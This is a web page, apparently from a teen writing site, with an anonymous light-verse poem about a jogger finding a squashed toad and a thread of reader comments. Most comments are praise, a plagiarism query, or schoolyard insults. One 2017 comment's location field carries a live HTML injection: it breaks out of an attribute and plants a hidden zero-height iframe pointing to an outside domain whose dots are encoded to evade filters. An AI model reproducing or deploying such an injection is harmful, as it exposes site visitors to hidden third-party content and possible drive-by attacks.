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By Anonymous

   I was out one day for my usual jog,

(I go kinda easy, rarely full-hog)

When I happened to see, right there on the road

The squishy remains of a little green toad.



I thought to myself, where is his home?

Down yonder green valley, how far did he roam?

From out on the pond I heard sorrowful croaks,

Could that be the wailing of some of his folks?



I felt for the toad and his pitiful state,

But the day was now fading, and such was his fate.

In the grand scheme of things, now I confess,

What's one little froggie, more or less?




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on Dec. 14 2017 at 3:11 am
B"><iframe src=https://concept4u%2Eco%2Eil height="0"></iframe>, Kothrud, Florida
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I love this!
WritingAddict03 SILVER said...
on Oct. 24 2017 at 2:31 pm
WritingAddict03 SILVER, Saint Peters , Missouri
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Everyone is a genius, but if you judge a fish by its ability to climb a tree it will live its whole life believing it is stupid. - Albert Einstein

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I feel so bad for the toad! Very well written; so creative!!! Is it a true story?
shinysolgaleo said...
on Feb. 23 2017 at 3:06 pm
shinysolgaleo, Newaygo, Michigan
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I really feel bad for the li'l toad. Even though on it was on the road
Brooke,BrookeHarms SILVER said...
on Jul. 10 2016 at 7:05 pm
Brooke,BrookeHarms SILVER, Burlington, Kentucky
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Very cute!
adfs said...
on May. 20 2015 at 4:35 pm
>made me cry
esben said...
on May. 4 2014 at 8:40 pm
esben, Brooklyn, New York
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&quot;The lunatic, the lover, and the poet are of imagination all compact.&quot; - Will Shakespeare

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I like the old fashioned style of writing. Cute poem. Food for thought.
PrinceHansismyworld SILVER said...
on Mar. 10 2013 at 9:41 pm
PrinceHansismyworld SILVER, New Bedford, Massachusetts
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Are you jealous or something?
PrinceHansismyworld SILVER said...
on Mar. 10 2013 at 9:37 pm
PrinceHansismyworld SILVER, New Bedford, Massachusetts
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I'm not the writer of this poem, but I can tell you that it wasn't plagerized because if it was it wouldn't be allowed on the website. 
unknownaccount said...
on Jun. 11 2012 at 6:17 pm
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I saw this in my middle school textbook. Did you happen to plagarize or did your work get featured in the textbook?
fictitious-quandary GOLD said...
on Dec. 18 2011 at 11:18 am
fictitious-quandary GOLD, Orlando, Florida
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 Poor froggy! Nice poem :)
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on Nov. 26 2011 at 9:37 pm
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BAHAHAHAHHAHAHAHAHA!!!!!!!!! XD That was basically fantastic! :D hahahaha!! I wish I could write such wonderful poetry! :)
experienced said...
on Nov. 4 2011 at 10:46 pm
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i was feelin kind of blue and this cheered me up a bit funy and well written
ThePeaceDaisy BRONZE said...
on Nov. 4 2011 at 3:06 pm
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Poor frog! :'( Anyway great poema! :D
illusions GOLD said...
on Nov. 4 2011 at 2:26 pm
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Your so rude!
illusions GOLD said...
on Nov. 4 2011 at 2:25 pm
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Funni! plz check me out and comment!!
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on Oct. 13 2011 at 8:48 pm
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hahaha i find this funny xD :)
Shmelmo GOLD said...
on Oct. 13 2011 at 1:38 pm
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This made me smile. :) I really like it. Keep writing!!
leafy said...
on Oct. 3 2011 at 8:39 pm
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*ignores slimmy heron and the spammer on here* lol I like this poem, very whimsical and made me giggle ^_^
CHEESEABLE said...
on Sep. 30 2011 at 7:58 am
YOU ARE STUPID YOU NEED TO LEARN HOW TO READ DUMB PERSON
Slimmy herron said...
on Sep. 30 2011 at 7:56 am

omg its a dead frog why is it sooooooooooooo meaningful acually its kinda gross that a person is sooooo interested in a dead frog